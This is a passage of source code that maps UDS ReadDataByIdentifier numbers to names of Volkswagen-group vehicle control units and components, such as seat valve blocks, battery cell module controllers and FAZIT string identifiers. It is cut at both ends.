= \"Valve_block_2_in_driver_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb3] = \"Valve_block_3_in_driver_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb4] = \"Switch_for_rear_multicontour_seat_passenger_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb5] = \"Valve_block_1_in_passenger_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb6] = \"Valve_block_2_in_passenger_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb7] = \"Valve_block_3_in_passenger_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb8] = \"Switch_for_front_multicontour_seat_driver_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb9] = \"Valve_block_1_in_driver_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cba] = \"Valve_block_2_in_driver_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cbb] = \"Valve_block_3_in_driver_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cbc] = \"Switch_for_front_multicontour_seat_passenger_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cbd] = \"Valve_block_1_in_passenger_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cbe] = \"Valve_block_2_in_passenger_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cbf] = \"Valve_block_3_in_passenger_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc0] = \"Coolant_heater_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc1] = \"Seat_backrest_fan_1_front_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc2] = \"Seat_backrest_fan_2_front_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc3] = \"Seat_cushion_fan_1_front_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc4] = \"Seat_cushion_fan_2_front_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc5] = \"Seat_backrest_fan_1_front_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc6] = \"Seat_backrest_fan_2_front_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc7] = \"Seat_cushion_fan_1_front_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc8] = \"Seat_cushion_fan_2_front_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cc9] = \"Operating_and_display_unit_1_for_air_conditioning_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cca] = \"Operating_and_display_unit_2_for_air_conditioning_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ccb] = \"Operating_and_display_unit_3_for_air_conditioning_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ccc] = \"Operating_and_display_unit_4_for_air_conditioning_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ccd] = \"Operating_and_display_unit_5_for_air_conditioning_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cce] = \"Pedestrian_protection_left_hand_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ccf] = \"Pedestrian_protection_right_hand_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd0] = \"Battery_junction_box_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd1] = \"Cell_module_controller_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd2] = \"Cell_module_controller_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd3] = \"Cell_module_controller_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd4] = \"Cell_module_controller_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd5] = \"Cell_module_controller_5_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd6] = \"Cell_module_controller_6_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd7] = \"Cell_module_controller_7_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd8] = \"Cell_module_controller_8_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cd9] = \"Cell_module_controller_9_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cda] = \"Cell_module_controller_10_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cdb] = \"Cell_module_controller_11_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cdc] = \"Cell_module_controller_12_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cdd] = \"Seat_backrest_fan_1_rear_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cde] = \"Seat_backrest_fan_2_rear_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cdf] = \"Seat_cushion_fan_1_rear_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce0] = \"Seat_cushion_fan_2_rear_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce1] = \"Seat_backrest_fan_1_rear_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce2] = \"Seat_backrest_fan_2_rear_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce3] = \"Seat_cushion_fan_1_rear_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce4] = \"Seat_cushion_fan_2_rear_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce5] = \"Auxiliary_blower_motor_control_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce6] = \"Auxiliary_blower_motor_control_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce7] = \"Infrared_sender_for_front_observation_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce8] = \"Starter_generator_control_module_sub_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ce9] = \"Media_player_1_sub_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cea] = \"Media_player_2_sub_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ceb] = \"Dedicated_short_range_communication_aerial_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cec] = \"Refrigerant_pressure_and_temperature_sender_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ced] = \"Refrigerant_pressure_and_temperature_sender_5_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cee] = \"Refrigerant_pressure_and_temperature_sender_6_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cef] = \"Air_coolant_actuator_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf0] = \"Air_coolant_actuator_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf1] = \"Cell_module_controller_13_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf2] = \"Cell_module_controller_14_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf3] = \"Cell_module_controller_15_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf5] = \"Seat_heating_rear_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf6] = \"LED_warning_indicator_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf7] = \"Automatic_transmission_fluid_pump_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf8] = \"Manual_transmission_fluid_pump_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cf9] = \"Convenience_and_driver_assist_operating_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cfb] = \"Air_coolant_actuator_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cfc] = \"Valve_block_4_in_driver_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cfd] = \"Valve_block_4_in_passenger_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cfe] = \"Valve_block_4_in_driver_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cff] = \"Valve_block_4_in_passenger_side_front_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d01] = \"Rear_climatronic_operating_and_display_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d02] = \"Refrigerant_expansion_valve_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d03] = \"Refrigerant_expansion_valve_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d04] = \"Refrigerant_expansion_valve_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d05] = \"Refrigerant_shut_off_valve_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d06] = \"Refrigerant_shut_off_valve_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d07] = \"Refrigerant_shut_off_valve_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d08] = \"Refrigerant_shut_off_valve_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d09] = \"Refrigerant_shut_off_valve_5_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d0a] = \"Sunlight_sensor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d0b] = \"Near_field_communication_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d0c] = \"Clutch_control_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d0d] = \"Electrical_charger_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d0e] = \"Rear_light_left_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d0f] = \"Rear_light_right_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d10] = \"Rear_light_right_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d11] = \"Sunlight_sensor_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d12] = \"Radiator_shutter_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d13] = \"Radiator_shutter_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d14] = \"Radiator_shutter_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d15] = \"Radiator_shutter_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d18] = \"Special_key_operating_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d19] = \"Radio_interface_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d1a] = \"Video_self_protection_recorder_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d1b] = \"Special_vehicle_assist_interface_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d1c] = \"Electric_system_disconnection_diode_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d1d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d1e] = \"Belt_pretensioner_2nd_row_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d1f] = \"Belt_pretensioner_2nd_row_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d20] = \"Electrical_variable_camshaft_phasing_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d21] = \"Electrical_variable_camshaft_phasing_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d22] = \"Wireless_operating_unit_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d23] = \"Wireless_operating_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d24] = \"Front_windshield_washer_pump_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d25] = \"Air_quality_sensor_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d26] = \"Fragrancing_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d27] = \"Coolant_valve_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d28] = \"Near_field_communication_control_module_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d29] = \"Interior_monitoring_rear_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d2a] = \"Cooler_fan_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d2b] = \"Control_unit_heating_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d2c] = \"Control_unit_heating_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d2d] = \"Control_unit_heating_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d2e] = \"Control_unit_heating_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d2f] = \"Operating_unit_drive_mode_selection_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d30] = \"Side_sensor_a-pillar_driver_front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d31] = \"Side_sensor_a-pillar_passenger_front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d32] = \"Sensor_high_voltage_system_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d33] = \"Side_sensor_b-pillar_driver_front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d34] = \"Side_sensor_b-pillar_passenger_front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d35] = \"Multi_function_steering_wheel_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d36] = \"Gear_selection_display_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d37] = \"Cooler_fan_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d38] = \"Gear_selector_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d39] = \"Interior_light_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d3a] = \"Radio_control_center_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d3b] = \"Multimedia_extension_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d3c] = \"Control_unit_differential_lock_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d3d] = \"Control_unit_ride_control_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d3e] = \"Control_unit_hands_on_detection_steering_wheel_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d3f] = \"Front_climatronic_operating_and_display_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d40] = \"Auxiliary_display_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d41] = \"Card_reader_tv_tuner_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d42] = \"Park_lock_actuator_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d43] = \"Media_connector_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6d44] = \"Catalyst_heating_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6e01] = \"Control_unit_for_wiper_motor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e02] = \"Rain_light_recognition_sensor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e03] = \"Light_switch_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e04] = \"Garage_door_opener_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e05] = \"Garage_door_opener_operating_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e06] = \"Ignition_key_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e07] = \"Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e08] = \"Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e09] = \"Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e0a] = \"LED_headlamp_powermodule_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e0b] = \"LED_headlamp_powermodule_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e0c] = \"LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e0d] = \"LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e0e] = \"Operating_and_display_unit_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e0f] = \"Operating_and_display_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e10] = \"Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e11] = \"Data_medium_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e12] = \"Drivers_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e13] = \"Front_passengers_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e14] = \"Left_headlamp_power_output_stage_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e15] = \"Right_headlamp_power_output_stage_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e16] = \"Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e17] = \"Rear_lid_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e18] = \"Alarm_horn_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e19] = \"Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e1a] = \"Remote_control_auxiliary_heater_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e1b] = \"Fresh_air_blower_front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e1c] = \"Fresh_air_blower_back_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e1d] = \"Alternator_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e1e] = \"Interior_light_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e1f] = \"Refrigerant_pressure_and_temperature_sender_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e20] = \"Sun_roof_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e21] = \"Steering_column_lock_actuator_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e22] = \"Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e23] = \"Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e24] = \"Heated_windshield_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e25] = \"Rear_light_left_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e26] = \"Ceiling_light_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e27] = \"Left_front_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e28] = \"Right_front_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e29] = \"Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e2a] = \"Belt Pretensioner left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e2b] = \"Belt Pretensioner right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e2c] = \"Occupant Detection_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e2d] = \"Selector_lever_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e2e] = \"NOx_sensor_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e2f] = \"NOx_sensor_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e30] = \"Ioniser_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e31] = \"Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e32] = \"Left_rear_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e33] = \"Right_rear_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e34] = \"Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e35] = \"Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e36] = \"Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e37] = \"Battery_monitoring_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e38] = \"Roof_blind_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e39] = \"Sun_roof_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e3a] = \"Steering_angle_sender_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e3b] = \"Lane_change_assistant 2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e3c] = \"Pitch_rate_sender_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e3d] = \"ESP_sensor_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e3e] = \"Electronic_ignition_lock_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e3f] = \"Air_quality_sensor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e40] = \"Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e41] = \"Telephone_handset_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e42] = \"Chip_card_reader_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e43] = \"Traffic_data_aerial_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e44] = \"Hands_free_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e45] = \"Telephone_handset_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e46] = \"Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e47] = \"Multimedia_operating_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e48] = \"Digital_sound_system_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e49] = \"Electrically_adjustable_steering_column_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e4a] = \"Interface_for_external_multimedia_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e4b] = \"Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e4c] = \"Drivers_door_rear_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e4d] = \"Passengers_rear_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e4e] = \"Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e4f] = \"Camera_for_night_vision_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e50] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e51] = \"Rear_spoiler_adjustment_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e52] = \"Roof_blind_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e53] = \"Motor_for_wind_deflector_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e54] = \"Voltage_stabilizer_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e55] = \"Switch_module_for_driver_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e56] = \"Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e57] = \"Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e58] = \"Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e59] = \"Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e5a] = \"Battery_charger_unit_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e5b] = \"Battery_charger_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e5c] = \"Battery_charger_unit_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e5d] = \"Air_conditioning_compressor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e5e] = \"Neck_heating_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e5f] = \"Neck_heating_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e60] = \"Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e61] = \"Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e62] = \"Compact_disc_database_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e63] = \"Rear_climatronic_operating_and_display_unit_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e64] = \"Rear_climatronic_operating_and_display_unit_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e65] = \"Door_handle_front_left_Kessy_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e66] = \"Door_handle_front_right_Kessy_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e67] = \"Door_handle_rear_left_Kessy_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e68] = \"Door_handle_rear_right_Kessy_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e69] = \"Power_converter_DC_AC_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e6a] = \"Battery_monitoring_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e6b] = \"Matrix_headlamp_powermodule_1_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e6c] = \"Matrix_headlamp_powermodule_1_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e6d] = \"High_beam_powermodule_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e6e] = \"High_beam_powermodule_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e6f] = \"Air_suspension_compressor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e70] = \"Rear_brake_actuator_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e71] = \"Rear_brake_actuator_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e72] = \"Analog_clock_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e73] = \"Rear_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e79] = \"Data_medium_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e7a] = \"Operating_unit_center_console_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e7b] = \"Operating_unit_center_console_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e7c] = \"Operating_unit_center_console_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e7d] = \"Operating_unit_center_console_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e7e] = \"Interface_for_radiodisplay_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e7f] = \"Parkassist_entry_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e86] = \"Belt_pretensioner_3rd_row_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e87] = \"Belt_pretensioner_3rd_row_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e88] = \"Injection_valve_heater_control_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e89] = \"Steering_column_switch_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e8a] = \"Brake_assistance_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e8b] = \"Trailer_articulation_angle_sensor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e8c] = \"Cup_holder_with_heater_and_cooling_element_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e8d] = \"Range_of_vision_sensing_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e8e] = \"Convenience_and_driver_assist_operating_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e8f] = \"Cradle_rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e90] = 